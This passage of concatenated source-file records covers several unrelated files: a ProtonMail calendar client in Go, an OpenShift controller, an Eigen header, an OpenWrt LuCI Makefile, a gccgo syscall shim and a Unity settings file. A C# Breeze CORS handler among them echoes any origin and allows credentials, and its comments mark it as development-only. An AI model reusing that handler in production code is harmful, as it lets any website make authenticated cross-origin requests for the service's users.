1\n },\n \"properties\" : {\n \"template-rendering-intent\" : \"template\"\n }\n}\n"} {"text": "package protonmail\n\nimport (\n\t\"net/http\"\n\t\"net/url\"\n\t\"strconv\"\n)\n\ntype CalendarFlags int\n\ntype Calendar struct {\n\tID string\n\tName string\n\tDescription string\n\tColor string\n\tDisplay int\n\tFlags CalendarFlags\n}\n\ntype CalendarEventPermissions int\n\ntype CalendarEvent struct {\n\tID string\n\tCalendarID string\n\tCalendarKeyPacket string\n\tCreateTime Timestamp\n\tLastEditTime Timestamp\n\tAuthor string\n\tPermissions CalendarEventPermissions\n\tSharedKeyPacket string\n\tSharedEvents []CalendarEventCard\n\tCalendarEvents interface{}\n\tPersonalEvent []CalendarEventCard\n}\n\ntype CalendarEventCardType int\n\ntype CalendarEventCard struct {\n\tType CalendarEventCardType\n\tData string\n\tSignature string\n\tMemberID string\n}\n\nfunc (c *Client) ListCalendars(page, pageSize int) ([]*Calendar, error) {\n\tv := url.Values{}\n\tv.Set(\"Page\", strconv.Itoa(page))\n\tif pageSize > 0 {\n\t\tv.Set(\"PageSize\", strconv.Itoa(pageSize))\n\t}\n\n\treq, err := c.newRequest(http.MethodGet, \"/calendars?\"+v.Encode(), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar respData struct {\n\t\tresp\n\t\tCalendars []*Calendar\n\t}\n\tif err := c.doJSON(req, &respData); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn respData.Calendars, nil\n}\n\ntype CalendarEventFilter struct {\n\tStart, End int64\n\tTimezone string\n\tPage, PageSize int\n}\n\nfunc (c *Client) ListCalendarEvents(calendarID string, filter *CalendarEventFilter) ([]*CalendarEvent, error) {\n\tv := url.Values{}\n\tv.Set(\"Start\", strconv.FormatInt(filter.Start, 10))\n\tv.Set(\"End\", strconv.FormatInt(filter.End, 10))\n\tv.Set(\"Timezone\", filter.Timezone)\n\tv.Set(\"Page\", strconv.Itoa(filter.Page))\n\tif filter.PageSize > 0 {\n\t\tv.Set(\"PageSize\", strconv.Itoa(filter.PageSize))\n\t}\n\n\treq, err := c.newRequest(http.MethodGet, \"/calendars/\"+calendarID+\"/events?\"+v.Encode(), nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar respData struct {\n\t\tresp\n\t\tEvents []*CalendarEvent\n\t}\n\tif err := c.doJSON(req, &respData); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn respData.Events, nil\n\n}\n"} {"text": "import getAllPostPreviews from '@/getAllPostPreviews'\n\nexport async function getStaticProps() {\n return {\n props: {\n posts: getAllPostPreviews().map((post) => ({\n title: post.module.meta.title,\n link: post.link,\n })),\n },\n }\n}\n"} {"text": "using System.Linq;\nusing System.Net;\nusing System.Net.Http;\nusing System.Threading;\nusing System.Threading.Tasks;\n\nnamespace Breeze.WebApi\n{\n /// <summary>\n /// Global message handler for CORS support (Development Only)\n /// </summary>\n /// <remarks>\n /// Simple-minded, allow-everything, Web API message handler\n /// for CORS (Cross-origin resource sharing)\n /// http://en.wikipedia.org/wiki/Cross-origin_resource_sharing\n /// Accepts any request for any action from any site\n /// Warning: Do not use for production code. Use as inspiration for a\n /// solution that is consistent with your security requirements.\n /// Code copied with minor changes from \n /// http://blog.bittercoder.com/2012/09/09/cors-and-webapi/\n /// Install early in Web Api Pipeline, \n /// perhaps in Global.asax or BreezeWebApiConfig\n /// </remarks>\n /// <example>\n /// // In Global.asax\n /// protected void Application_Start()\n /// {\n /// ...\n /// GlobalConfiguration.Configuration.MessageHandlers.Add(new BreezeSimpleCorsHandler());\n /// ...\n /// }\n /// \n /// // In BreezeWebApiConfig\n /// public static void RegisterBreezePreStart() {\n /// ...\n /// GlobalConfiguration.Configuration.MessageHandlers.Add(new BreezeSimpleCorsHandler());\n /// ...\n /// }\n /// </example>\n public class BreezeSimpleCorsHandler : DelegatingHandler\n {\n const string Origin = \"Origin\";\n const string AccessControlRequestMethod = \"Access-Control-Request-Method\";\n const string AccessControlRequestHeaders = \"Access-Control-Request-Headers\";\n const string AccessControlAllowOrigin = \"Access-Control-Allow-Origin\";\n const string AccessControlAllowMethods = \"Access-Control-Allow-Methods\";\n const string AccessControlAllowHeaders = \"Access-Control-Allow-Headers\";\n const string AccessControlAllowCredentials = \"Access-Control-Allow-Credentials\";\n\n protected override Task<HttpResponseMessage> SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)\n {\n var isCorsRequest = request.Headers.Contains(Origin);\n var isPreflightRequest = request.Method == HttpMethod.Options;\n if (isCorsRequest)\n {\n if (isPreflightRequest)\n {\n var response = new HttpResponseMessage(HttpStatusCode.OK);\n response.Headers.Add(AccessControlAllowOrigin,\n request.Headers.GetValues(Origin).First());\n\n var accessControlRequestMethod =\n request.Headers.GetValues(AccessControlRequestMethod).FirstOrDefault();\n\n if (accessControlRequestMethod != null)\n {\n response.Headers.Add(AccessControlAllowMethods, accessControlRequestMethod);\n }\n\n var requestedHeaders = string.Join(\", \",\n request.Headers.GetValues(AccessControlRequestHeaders));\n\n if (!string.IsNullOrEmpty(requestedHeaders))\n {\n response.Headers.Add(AccessControlAllowHeaders, requestedHeaders);\n }\n\n response.Headers.Add(AccessControlAllowCredentials, \"true\");\n\n var tcs = new TaskCompletionSource<HttpResponseMessage>();\n tcs.SetResult(response);\n return tcs.Task;\n }\n return base.SendAsync(request, cancellationToken).ContinueWith(t =>\n {\n var resp = t.Result;\n resp.Headers.Add(AccessControlAllowOrigin, request.Headers.GetValues(Origin).First());\n resp.Headers.Add(AccessControlAllowCredentials, \"true\");\n return resp;\n });\n }\n return base.SendAsync(request, cancellationToken);\n }\n }\n}"} {"text": "package deploymentconfig\n\nimport (\n\t\"time\"\n\n\t\"github.com/golang/glog\"\n\tkapi \"k8s.io/kubernetes/pkg/api\"\n\t\"k8s.io/kubernetes/pkg/client/cache\"\n\t\"k8s.io/kubernetes/pkg/client/record\"\n\tkclient \"k8s.io/kubernetes/pkg/client/unversioned\"\n\tkcontroller \"k8s.io/kubernetes/pkg/controller\"\n\t\"k8s.io/kubernetes/pkg/controller/framework\"\n\t\"k8s.io/kubernetes/pkg/runtime\"\n\tutilruntime \"k8s.io/kubernetes/pkg/util/runtime\"\n\t\"k8s.io/kubernetes/pkg/util/wait\"\n\t\"k8s.io/kubernetes/pkg/util/workqueue\"\n\n\tosclient \"github.com/openshift/origin/pkg/client\"\n\tdeployapi \"github.com/openshift/origin/pkg/deploy/api\"\n)\n\nconst (\n\t// We must avoid creating new replication controllers until the deployment config and replication\n\t// controller stores have synced. If it hasn't synced, to avoid a hot loop, we'll wait this long\n\t// between checks.\n\tStoreSyncedPollPeriod = 100 * time.Millisecond\n\t// MaxRetries is the number of times a deployment config will be retried before it is dropped out\n\t// of the queue.\n\tMaxRetries = 5\n)\n\n// NewDeploymentConfigController creates a new DeploymentConfigController.\nfunc NewDeploymentConfigController(dcInformer, rcInformer, podInformer framework.SharedIndexInformer, oc osclient.Interface, kc kclient.Interface, codec runtime.Codec) *DeploymentConfigController {\n\teventBroadcaster := record.NewBroadcaster()\n\teventBroadcaster.StartRecordingToSink(kc.Events(\"\"))\n\trecorder := eventBroadcaster.NewRecorder(kapi.EventSource{Component: \"deploymentconfig-controller\"})\n\n\tc := &DeploymentConfigController{\n\t\tdn: oc,\n\t\trn: kc,\n\n\t\tqueue: workqueue.NewRateLimitingQueue(workqueue.DefaultControllerRateLimiter()),\n\n\t\trecorder: recorder,\n\t\tcodec: codec,\n\t}\n\n\tc.dcStore.Indexer = dcInformer.GetIndexer()\n\tdcInformer.AddEventHandler(framework.ResourceEventHandlerFuncs{\n\t\tAddFunc: c.addDeploymentConfig,\n\t\tUpdateFunc: c.updateDeploymentConfig,\n\t\tDeleteFunc: c.deleteDeploymentConfig,\n\t})\n\tc.rcStore.Indexer = rcInformer.GetIndexer()\n\trcInformer.AddEventHandler(framework.ResourceEventHandlerFuncs{\n\t\tAddFunc: c.addReplicationController,\n\t\tUpdateFunc: c.updateReplicationController,\n\t\tDeleteFunc: c.deleteReplicationController,\n\t})\n\tc.podStore.Indexer = podInformer.GetIndexer()\n\tpodInformer.AddEventHandler(framework.ResourceEventHandlerFuncs{\n\t\tAddFunc: c.addPod,\n\t\tUpdateFunc: c.updatePod,\n\t\tDeleteFunc: c.deletePod,\n\t})\n\n\tc.dcStoreSynced = dcInformer.HasSynced\n\tc.rcStoreSynced = rcInformer.HasSynced\n\tc.podStoreSynced = podInformer.HasSynced\n\n\treturn c\n}\n\n// Run begins watching and syncing.\nfunc (c *DeploymentConfigController) Run(workers int, stopCh <-chan struct{}) {\n\tdefer utilruntime.HandleCrash()\n\n\t// Wait for the rc and dc stores to sync before starting any work in this controller.\n\tready := make(chan struct{})\n\tgo c.waitForSyncedStores(ready, stopCh)\n\tselect {\n\tcase <-ready:\n\tcase <-stopCh:\n\t\treturn\n\t}\n\n\tfor i := 0; i < workers; i++ {\n\t\tgo wait.Until(c.worker, time.Second, stopCh)\n\t}\n\n\t<-stopCh\n\tglog.Infof(\"Shutting down deploymentconfig controller\")\n\tc.queue.ShutDown()\n}\n\nfunc (c *DeploymentConfigController) waitForSyncedStores(ready chan<- struct{}, stopCh <-chan struct{}) {\n\tdefer utilruntime.HandleCrash()\n\n\tfor !c.dcStoreSynced() || !c.rcStoreSynced() || !c.podStoreSynced() {\n\t\tglog.V(4).Infof(\"Waiting for the dc, rc, and pod caches to sync before starting the deployment config controller workers\")\n\t\tselect {\n\t\tcase <-time.After(StoreSyncedPollPeriod):\n\t\tcase <-stopCh:\n\t\t\treturn\n\t\t}\n\t}\n\tclose(ready)\n}\n\nfunc (c *DeploymentConfigController) addDeploymentConfig(obj interface{}) {\n\tdc := obj.(*deployapi.DeploymentConfig)\n\tglog.V(4).Infof(\"Adding deployment config %q\", dc.Name)\n\tc.enqueueDeploymentConfig(dc)\n}\n\nfunc (c *DeploymentConfigController) updateDeploymentConfig(old, cur interface{}) {\n\t// A periodic relist will send update events for all known configs.\n\tnewDc := cur.(*deployapi.DeploymentConfig)\n\toldDc := old.(*deployapi.DeploymentConfig)\n\tif newDc.ResourceVersion == oldDc.ResourceVersion {\n\t\treturn\n\t}\n\n\tglog.V(4).Infof(\"Updating deployment config %q\", newDc.Name)\n\tc.enqueueDeploymentConfig(newDc)\n}\n\nfunc (c *DeploymentConfigController) deleteDeploymentConfig(obj interface{}) {\n\tdc, ok := obj.(*deployapi.DeploymentConfig)\n\tif !ok {\n\t\ttombstone, ok := obj.(cache.DeletedFinalStateUnknown)\n\t\tif !ok {\n\t\t\tglog.Errorf(\"Couldn't get object from tombstone %+v\", obj)\n\t\t\treturn\n\t\t}\n\t\tdc, ok = tombstone.Obj.(*deployapi.DeploymentConfig)\n\t\tif !ok {\n\t\t\tglog.Errorf(\"Tombstone contained object that is not a deployment config: %+v\", obj)\n\t\t\treturn\n\t\t}\n\t}\n\tglog.V(4).Infof(\"Deleting deployment config %q\", dc.Name)\n\tc.enqueueDeploymentConfig(dc)\n}\n\n// addReplicationController figures out which deploymentconfig is managing this replication\n// controller and requeues the deployment config.\n// TODO: Determine if we need to resync here. Would be useful for adoption but we cannot\n// adopt right now.\nfunc (c *DeploymentConfigController) addReplicationController(obj interface{}) {\n\trc := obj.(*kapi.ReplicationController)\n\tglog.V(4).Infof(\"Replication controller %q added.\", rc.Name)\n\t// We are waiting for the deployment config store to sync but still there are pathological\n\t// cases of highly latent watches.\n\tif dc, err := c.dcStore.GetConfigForController(rc); err == nil && dc != nil {\n\t\tc.enqueueDeploymentConfig(dc)\n\t}\n}\n\n// updateReplicationController figures out which deploymentconfig is managing this replication\n// controller and requeues the deployment config.\nfunc (c *DeploymentConfigController) updateReplicationController(old, cur interface{}) {\n\t// A periodic relist will send update events for all known controllers.\n\tcurRC := cur.(*kapi.ReplicationController)\n\toldRC := old.(*kapi.ReplicationController)\n\tif curRC.ResourceVersion == oldRC.ResourceVersion {\n\t\treturn\n\t}\n\n\tglog.V(4).Infof(\"Replication controller %q updated.\", curRC.Name)\n\tif dc, err := c.dcStore.GetConfigForController(curRC); err == nil && dc != nil {\n\t\tc.enqueueDeploymentConfig(dc)\n\t}\n}\n\n// deleteReplicationController enqueues the deployment that manages a replicationcontroller when\n// the replicationcontroller is deleted. obj could be an *kapi.ReplicationController, or\n// a DeletionFinalStateUnknown marker item.\nfunc (c *DeploymentConfigController) deleteReplicationController(obj interface{}) {\n\trc, ok := obj.(*kapi.ReplicationController)\n\n\t// When a delete is dropped, the relist will notice a pod in the store not\n\t// in the list, leading to the insertion of a tombstone object which contains\n\t// the deleted key/value.\n\tif !ok {\n\t\ttombstone, ok := obj.(cache.DeletedFinalStateUnknown)\n\t\tif !ok {\n\t\t\tglog.Errorf(\"Couldn't get object from tombstone %#v\", obj)\n\t\t\treturn\n\t\t}\n\t\trc, ok = tombstone.Obj.(*kapi.ReplicationController)\n\t\tif !ok {\n\t\t\tglog.Errorf(\"Tombstone contained object that is not a replication controller %#v\", obj)\n\t\t\treturn\n\t\t}\n\t}\n\tglog.V(4).Infof(\"Replication controller %q deleted.\", rc.Name)\n\tif dc, err := c.dcStore.GetConfigForController(rc); err == nil && dc != nil {\n\t\tc.enqueueDeploymentConfig(dc)\n\t}\n}\n\nfunc (c *DeploymentConfigController) addPod(obj interface{}) {\n\tif dc, err := c.dcStore.GetConfigForPod(obj.(*kapi.Pod)); err == nil && dc != nil {\n\t\tc.enqueueDeploymentConfig(dc)\n\t}\n}\n\nfunc (c *DeploymentConfigController) updatePod(old, cur interface{}) {\n\tcurPod := cur.(*kapi.Pod)\n\toldPod := old.(*kapi.Pod)\n\tif curPod.ResourceVersion == oldPod.ResourceVersion {\n\t\treturn\n\t}\n\n\tif dc, err := c.dcStore.GetConfigForPod(curPod); err == nil && dc != nil {\n\t\tc.enqueueDeploymentConfig(dc)\n\t}\n}\n\nfunc (c *DeploymentConfigController) deletePod(obj interface{}) {\n\tpod, ok := obj.(*kapi.Pod)\n\tif !ok {\n\t\ttombstone, ok := obj.(cache.DeletedFinalStateUnknown)\n\t\tif !ok {\n\t\t\tglog.Errorf(\"Couldn't get object from tombstone %+v\", obj)\n\t\t\treturn\n\t\t}\n\t\tpod, ok = tombstone.Obj.(*kapi.Pod)\n\t\tif !ok {\n\t\t\tglog.Errorf(\"Tombstone contained object that is not a pod: %+v\", obj)\n\t\t\treturn\n\t\t}\n\t}\n\tif dc, err := c.dcStore.GetConfigForPod(pod); err == nil && dc != nil {\n\t\tc.enqueueDeploymentConfig(dc)\n\t}\n}\n\nfunc (c *DeploymentConfigController) enqueueDeploymentConfig(dc *deployapi.DeploymentConfig) {\n\tkey, err := kcontroller.KeyFunc(dc)\n\tif err != nil {\n\t\tglog.Errorf(\"Couldn't get key for object %#v: %v\", dc, err)\n\t\treturn\n\t}\n\tc.queue.Add(key)\n}\n\nfunc (c *DeploymentConfigController) worker() {\n\tfor {\n\t\tif quit := c.work(); quit {\n\t\t\treturn\n\t\t}\n\t}\n}\n\nfunc (c *DeploymentConfigController) work() bool {\n\tkey, quit := c.queue.Get()\n\tif quit {\n\t\treturn true\n\t}\n\tdefer c.queue.Done(key)\n\n\tdc, err := c.getByKey(key.(string))\n\tif err != nil {\n\t\tglog.Error(err.Error())\n\t}\n\n\tif dc == nil {\n\t\treturn false\n\t}\n\n\terr = c.Handle(dc)\n\tc.handleErr(err, key)\n\n\treturn false\n}\n\nfunc (c *DeploymentConfigController) getByKey(key string) (*deployapi.DeploymentConfig, error) {\n\tobj, exists, err := c.dcStore.Indexer.GetByKey(key)\n\tif err != nil {\n\t\tglog.V(2).Infof(\"Unable to retrieve deployment config %q from store: %v\", key, err)\n\t\tc.queue.AddRateLimited(key)\n\t\treturn nil, err\n\t}\n\tif !exists {\n\t\tglog.V(4).Infof(\"Deployment config %q has been deleted\", key)\n\t\treturn nil, nil\n\t}\n\n\treturn obj.(*deployapi.DeploymentConfig), nil\n}\n"} {"text": "// This file is part of Eigen, a lightweight C++ template library\n// for linear algebra.\n//\n// Copyright (C) 2009-2010 Gael Guennebaud <gael.guennebaud@inria.fr>\n//\n// This Source Code Form is subject to the terms of the Mozilla\n// Public License v. 2.0. If a copy of the MPL was not distributed\n// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n#ifndef EIGEN_SELFCWISEBINARYOP_H\n#define EIGEN_SELFCWISEBINARYOP_H\n\nnamespace Eigen { \n\n/** \\class SelfCwiseBinaryOp\n * \\ingroup Core_Module\n *\n * \\internal\n *\n * \\brief Internal helper class for optimizing operators like +=, -=\n *\n * This is a pseudo expression class re-implementing the copyCoeff/copyPacket\n * method to directly performs a +=/-= operations in an optimal way. In particular,\n * this allows to make sure that the input/output data are loaded only once using\n * aligned packet loads.\n *\n * \\sa class SwapWrapper for a similar trick.\n */\n\nnamespace internal {\ntemplate<typename BinaryOp, typename Lhs, typename Rhs>\nstruct traits<SelfCwiseBinaryOp<BinaryOp,Lhs,Rhs> >\n : traits<CwiseBinaryOp<BinaryOp,Lhs,Rhs> >\n{\n enum {\n // Note that it is still a good idea to preserve the DirectAccessBit\n // so that assign can correctly align the data.\n Flags = traits<CwiseBinaryOp<BinaryOp,Lhs,Rhs> >::Flags | (Lhs::Flags&DirectAccessBit) | (Lhs::Flags&LvalueBit),\n OuterStrideAtCompileTime = Lhs::OuterStrideAtCompileTime,\n InnerStrideAtCompileTime = Lhs::InnerStrideAtCompileTime\n };\n};\n}\n\ntemplate<typename BinaryOp, typename Lhs, typename Rhs> class SelfCwiseBinaryOp\n : public internal::dense_xpr_base< SelfCwiseBinaryOp<BinaryOp, Lhs, Rhs> >::type\n{\n public:\n\n typedef typename internal::dense_xpr_base<SelfCwiseBinaryOp>::type Base;\n EIGEN_DENSE_PUBLIC_INTERFACE(SelfCwiseBinaryOp)\n\n typedef typename internal::packet_traits<Scalar>::type Packet;\n\n inline SelfCwiseBinaryOp(Lhs& xpr, const BinaryOp& func = BinaryOp()) : m_matrix(xpr), m_functor(func) {}\n\n inline Index rows() const { return m_matrix.rows(); }\n inline Index cols() const { return m_matrix.cols(); }\n inline Index outerStride() const { return m_matrix.outerStride(); }\n inline Index innerStride() const { return m_matrix.innerStride(); }\n inline const Scalar* data() const { return m_matrix.data(); }\n\n // note that this function is needed by assign to correctly align loads/stores\n // TODO make Assign use .data()\n inline Scalar& coeffRef(Index row, Index col)\n {\n EIGEN_STATIC_ASSERT_LVALUE(Lhs)\n return m_matrix.const_cast_derived().coeffRef(row, col);\n }\n inline const Scalar& coeffRef(Index row, Index col) const\n {\n return m_matrix.coeffRef(row, col);\n }\n\n // note that this function is needed by assign to correctly align loads/stores\n // TODO make Assign use .data()\n inline Scalar& coeffRef(Index index)\n {\n EIGEN_STATIC_ASSERT_LVALUE(Lhs)\n return m_matrix.const_cast_derived().coeffRef(index);\n }\n inline const Scalar& coeffRef(Index index) const\n {\n return m_matrix.const_cast_derived().coeffRef(index);\n }\n\n template<typename OtherDerived>\n void copyCoeff(Index row, Index col, const DenseBase<OtherDerived>& other)\n {\n OtherDerived& _other = other.const_cast_derived();\n eigen_internal_assert(row >= 0 && row < rows()\n && col >= 0 && col < cols());\n Scalar& tmp = m_matrix.coeffRef(row,col);\n tmp = m_functor(tmp, _other.coeff(row,col));\n }\n\n template<typename OtherDerived>\n void copyCoeff(Index index, const DenseBase<OtherDerived>& other)\n {\n OtherDerived& _other = other.const_cast_derived();\n eigen_internal_assert(index >= 0 && index < m_matrix.size());\n Scalar& tmp = m_matrix.coeffRef(index);\n tmp = m_functor(tmp, _other.coeff(index));\n }\n\n template<typename OtherDerived, int StoreMode, int LoadMode>\n void copyPacket(Index row, Index col, const DenseBase<OtherDerived>& other)\n {\n OtherDerived& _other = other.const_cast_derived();\n eigen_internal_assert(row >= 0 && row < rows()\n && col >= 0 && col < cols());\n m_matrix.template writePacket<StoreMode>(row, col,\n m_functor.packetOp(m_matrix.template packet<StoreMode>(row, col),_other.template packet<LoadMode>(row, col)) );\n }\n\n template<typename OtherDerived, int StoreMode, int LoadMode>\n void copyPacket(Index index, const DenseBase<OtherDerived>& other)\n {\n OtherDerived& _other = other.const_cast_derived();\n eigen_internal_assert(index >= 0 && index < m_matrix.size());\n m_matrix.template writePacket<StoreMode>(index,\n m_functor.packetOp(m_matrix.template packet<StoreMode>(index),_other.template packet<LoadMode>(index)) );\n }\n\n // reimplement lazyAssign to handle complex *= real\n // see CwiseBinaryOp ctor for details\n template<typename RhsDerived>\n EIGEN_STRONG_INLINE SelfCwiseBinaryOp& lazyAssign(const DenseBase<RhsDerived>& rhs)\n {\n EIGEN_STATIC_ASSERT_SAME_MATRIX_SIZE(Lhs,RhsDerived)\n EIGEN_CHECK_BINARY_COMPATIBILIY(BinaryOp,typename Lhs::Scalar,typename RhsDerived::Scalar);\n \n #ifdef EIGEN_DEBUG_ASSIGN\n internal::assign_traits<SelfCwiseBinaryOp, RhsDerived>::debug();\n #endif\n eigen_assert(rows() == rhs.rows() && cols() == rhs.cols());\n internal::assign_impl<SelfCwiseBinaryOp, RhsDerived>::run(*this,rhs.derived());\n #ifndef EIGEN_NO_DEBUG\n this->checkTransposeAliasing(rhs.derived());\n #endif\n return *this;\n }\n \n // overloaded to honor evaluation of special matrices\n // maybe another solution would be to not use SelfCwiseBinaryOp\n // at first...\n SelfCwiseBinaryOp& operator=(const Rhs& _rhs)\n {\n typename internal::nested<Rhs>::type rhs(_rhs);\n return Base::operator=(rhs);\n }\n\n Lhs& expression() const \n { \n return m_matrix;\n }\n\n const BinaryOp& functor() const \n { \n return m_functor;\n }\n\n protected:\n Lhs& m_matrix;\n const BinaryOp& m_functor;\n\n private:\n SelfCwiseBinaryOp& operator=(const SelfCwiseBinaryOp&);\n};\n\ntemplate<typename Derived>\ninline Derived& DenseBase<Derived>::operator*=(const Scalar& other)\n{\n typedef typename Derived::PlainObject PlainObject;\n SelfCwiseBinaryOp<internal::scalar_product_op<Scalar>, Derived, typename PlainObject::ConstantReturnType> tmp(derived());\n tmp = PlainObject::Constant(rows(),cols(),other);\n return derived();\n}\n\ntemplate<typename Derived>\ninline Derived& DenseBase<Derived>::operator/=(const Scalar& other)\n{\n typedef typename internal::conditional<NumTraits<Scalar>::IsInteger,\n internal::scalar_quotient_op<Scalar>,\n internal::scalar_product_op<Scalar> >::type BinOp;\n typedef typename Derived::PlainObject PlainObject;\n SelfCwiseBinaryOp<BinOp, Derived, typename PlainObject::ConstantReturnType> tmp(derived());\n Scalar actual_other;\n if(NumTraits<Scalar>::IsInteger) actual_other = other;\n else actual_other = Scalar(1)/other;\n tmp = PlainObject::Constant(rows(),cols(), actual_other);\n return derived();\n}\n\n} // end namespace Eigen\n\n#endif // EIGEN_SELFCWISEBINARYOP_H\n"} {"text": "####### foo\n"} {"text": "include $(TOPDIR)/rules.mk\n\nPKG_NAME:=luci-app-ssr-plus\nPKG_VERSION:=1\nPKG_RELEASE:=100\n\nPKG_CONFIG_DEPENDS:= CONFIG_PACKAGE_$(PKG_NAME)_INCLUDE_Shadowsocks \\\n\tCONFIG_PACKAGE_$(PKG_NAME)_INCLUDE_V2ray \\\n\tCONFIG_PACKAGE_$(PKG_NAME)_INCLUDE_Kcptun \\\n\tCONFIG_PACKAGE_$(PKG_NAME)_INCLUDE_ShadowsocksR_Server \\\n\tCONFIG_PACKAGE_$(PKG_NAME)_INCLUDE_ShadowsocksR_Socks\n\ninclude $(INCLUDE_DIR)/package.mk\n\ndefine Package/$(PKG_NAME)/config\nconfig PACKAGE_$(PKG_NAME)_INCLUDE_Shadowsocks\n\tbool \"Include Shadowsocks New Version\"\n\tdefault n\n\t\nconfig PACKAGE_$(PKG_NAME)_INCLUDE_V2ray\n\tbool \"Include V2ray\"\n\tdefault n\n\t\nconfig PACKAGE_$(PKG_NAME)_INCLUDE_Kcptun\n\tbool \"Include Kcptun\"\n\tdefault n\n\t\nconfig PACKAGE_$(PKG_NAME)_INCLUDE_ShadowsocksR_Server\n\tbool \"Include ShadowsocksR Server\"\n\tdefault n\n\t\nconfig PACKAGE_$(PKG_NAME)_INCLUDE_ShadowsocksR_Socks\n\tbool \"Include ShadowsocksR Socks and Tunnel\"\n\tdefault n\nendef\n\ndefine Package/luci-app-ssr-plus\n \tSECTION:=luci\n\tCATEGORY:=LuCI\n\tSUBMENU:=3. Applications\n\tTITLE:=SS/SSR/V2Ray LuCI interface\n\tPKGARCH:=all\n\tDEPENDS:=+shadowsocksr-libev-alt +ipset +ip-full +iptables-mod-tproxy +dnsmasq-full +coreutils +coreutils-base64 +bash +pdnsd-alt +wget \\\n +PACKAGE_$(PKG_NAME)_INCLUDE_Shadowsocks:shadowsocks-libev-ss-redir \\\n +PACKAGE_$(PKG_NAME)_INCLUDE_V2ray:v2ray \\\n +PACKAGE_$(PKG_NAME)_INCLUDE_Kcptun:kcptun-client \\\n +PACKAGE_$(PKG_NAME)_INCLUDE_ShadowsocksR_Server:shadowsocksr-libev-server \\\n +PACKAGE_$(PKG_NAME)_INCLUDE_ShadowsocksR_Socks:shadowsocksr-libev-ssr-local\nendef\n\ndefine Build/Prepare\nendef\n\ndefine Build/Compile\nendef\n\ndefine Package/luci-app-ssr-plus/install\n\t$(INSTALL_DIR) $(1)/usr/lib/lua/luci\n\tcp -pR ./luasrc/* $(1)/usr/lib/lua/luci\n\t$(INSTALL_DIR) $(1)/\n\tcp -pR ./root/* $(1)/\n\t$(INSTALL_DIR) $(1)/usr/lib/lua/luci/i18n\n\tpo2lmo ./po/zh-cn/ssr-plus.po $(1)/usr/lib/lua/luci/i18n/ssr-plus.zh-cn.lmo\nendef\n\ndefine Package/luci-app-ssr-plus/postinst\n#!/bin/sh\nif [ -z \"$${IPKG_INSTROOT}\" ]; then\n\t( . /etc/uci-defaults/luci-ssr-plus ) && rm -f /etc/uci-defaults/luci-ssr-plus\n\trm -f /tmp/luci-indexcache\n\tchmod 755 /etc/init.d/shadowsocksr >/dev/null 2>&1\n\t/etc/init.d/shadowsocksr enable >/dev/null 2>&1\nfi\nexit 0\nendef\n\ndefine Package/luci-app-ssr-plus/prerm\n#!/bin/sh\nif [ -z \"$${IPKG_INSTROOT}\" ]; then\n /etc/init.d/shadowsocksr disable\n /etc/init.d/shadowsocksr stop\nfi\nexit 0\nendef\n\n$(eval $(call BuildPackage,luci-app-ssr-plus))\n"} {"text": "// Copyright 2015 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// +build gccgo\n// +build !aix\n\n#include <errno.h>\n#include <stdint.h>\n#include <unistd.h>\n\n#define _STRINGIFY2_(x) #x\n#define _STRINGIFY_(x) _STRINGIFY2_(x)\n#define GOSYM_PREFIX _STRINGIFY_(__USER_LABEL_PREFIX__)\n\n// Call syscall from C code because the gccgo support for calling from\n// Go to C does not support varargs functions.\n\nstruct ret {\n\tuintptr_t r;\n\tuintptr_t err;\n};\n\nstruct ret\ngccgoRealSyscall(uintptr_t trap, uintptr_t a1, uintptr_t a2, uintptr_t a3, uintptr_t a4, uintptr_t a5, uintptr_t a6, uintptr_t a7, uintptr_t a8, uintptr_t a9)\n{\n\tstruct ret r;\n\n\terrno = 0;\n\tr.r = syscall(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9);\n\tr.err = errno;\n\treturn r;\n}\n\nuintptr_t\ngccgoRealSyscallNoError(uintptr_t trap, uintptr_t a1, uintptr_t a2, uintptr_t a3, uintptr_t a4, uintptr_t a5, uintptr_t a6, uintptr_t a7, uintptr_t a8, uintptr_t a9)\n{\n\treturn syscall(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9);\n}\n"} {"text": "%YAML 1.1\n%TAG !u! tag:unity3d.com,2011:\n--- !u!129 &1\nPlayerSettings:\n m_ObjectHideFlags: 0\n serializedVersion: 11\n productGUID: a4fbb9702c626394fa9548d5be438175\n AndroidProfiler: 0\n defaultScreenOrientation: 4\n targetDevice: 2\n useOnDemandResources: 0\n accelerometerFrequency: 60\n companyName: DefaultCompany\n productName: Packager\n defaultCursor: {fileID: 0}\n cursorHotspot: {x: 0, y: 0}\n m_SplashScreenBackgroundColor: {r: 0.13333334, g: 0.17254902, b: 0.21176471, a: 1}\n m_ShowUnitySplashScreen: 1\n m_ShowUnitySplashLogo: 1\n m_SplashScreenOverlayOpacity: 1\n m_SplashScreenAnimation: 1\n m_SplashScreenLogoStyle: 1\n m_SplashScreenDrawMode: 0\n m_SplashScreenBackgroundAnimationZoom: 1\n m_SplashScreenLogoAnimationZoom: 1\n m_SplashScreenBackgroundLandscapeAspect: 1\n m_SplashScreenBackgroundPortraitAspect: 1\n m_SplashScreenBackgroundLandscapeUvs:\n serializedVersion: 2\n x: 0\n y: 0\n width: 1\n height: 1\n m_SplashScreenBackgroundPortraitUvs:\n serializedVersion: 2\n x: 0\n y: 0\n width: 1\n height: 1\n m_SplashScreenLogos: []\n m_SplashScreenBackgroundLandscape: {fileID: 0}\n m_SplashScreenBackgroundPortrait: {fileID: 0}\n m_VirtualRealitySplashScreen: {fileID: 0}\n m_HolographicTrackingLossScreen: {fileID: 0}\n defaultScreenWidth: 1024\n defaultScreenHeight: 768\n defaultScreenWidthWeb: 960\n defaultScreenHeightWeb: 600\n m_StereoRenderingPath: 0\n m_ActiveColorSpace: 0\n m_MTRendering: 1\n m_MobileMTRendering: 0\n m_StackTraceTypes: 010000000100000001000000010000000100000001000000\n iosShowActivityIndicatorOnLoading: -1\n androidShowActivityIndicatorOnLoading: -1\n tizenShowActivityIndicatorOnLoading: -1\n iosAppInBackgroundBehavior: 0\n displayResolutionDialog: 1\n iosAllowHTTPDownload: 1\n allowedAutorotateToPortrait: 1\n allowedAutorotateToPortraitUpsideDown: 1\n allowedAutorotateToLandscapeRight: 1\n 